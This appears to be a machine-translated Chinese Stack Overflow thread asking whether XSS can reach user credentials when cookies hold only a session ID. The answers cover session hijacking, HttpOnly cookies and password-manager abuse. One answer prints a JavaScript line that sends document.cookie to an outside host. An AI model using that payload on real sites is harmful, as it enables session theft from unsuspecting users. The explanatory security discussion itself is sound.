每当有人谈到xss的危险时,他们都会提到“坏人”可以访问用户凭据。但是,如果我只在cookie上存储会话ID,并根据会话ID对用户进行身份验证,是否还有其他方式可以使用xss来访问用户凭据?
答案 0 :(得分:1)
是
XSS表示页面上正在运行外部或恶意脚本。有很多方法可能会有危险。
即使cookie不存储用户凭据(也不应该存储)。它为服务器存储了足够的信息,以便将cookie的承载视为特定用户(HTTP是无状态的,因此我们使用cookie /会话来记住用户)。
因此,如果有人窃取会话ID,他们可以使用它来冒充您,而服务器可能不是更明智的。
在您的原始问题中,您询问了另一个安全级别:验证与会话关联的IP地址。是的,这减少了攻击途径。是的,IP地址可以伪造。但是你不再是攻击者最低级的果实了。同时,安全性和便利性是相反的,因此您的合法用户可能会感到沮丧,因为当他们的IP地址发生更改时,他们将不再登录。
窃取cookie /会话是获取访问权限的一种简单方法,但不是唯一的方法。
由于脚本正在从受信任的站点和用户的浏览器运行(据称)。它可能涉及很多方面:
答案 1 :(得分:1)
除非会话ID cookie标记为HTTP Only,否则仍可使用XSS劫持会话。
e.g。
new Image().src = 'http://www.example.com/?cookie=' + escape(document.cookie);
会将会话ID发送到攻击者域(www.example.com
),在那里他们可以将自己的cookie设置为相同的会话ID并窃取会话。
即使没有cookie风险,因为攻击者可以将任何他们喜欢的内容注入页面,他们可以更改任何页面内容或在浏览器会话中安装key loggers。
答案 2 :(得分:0)
我最近进行了一次演讲,描述了欺骗密码管理员填写密码表单的方法,前提是攻击者可以使用XSS修改受害站点上的页面。这是攻击者可以访问用户凭据的一种方式。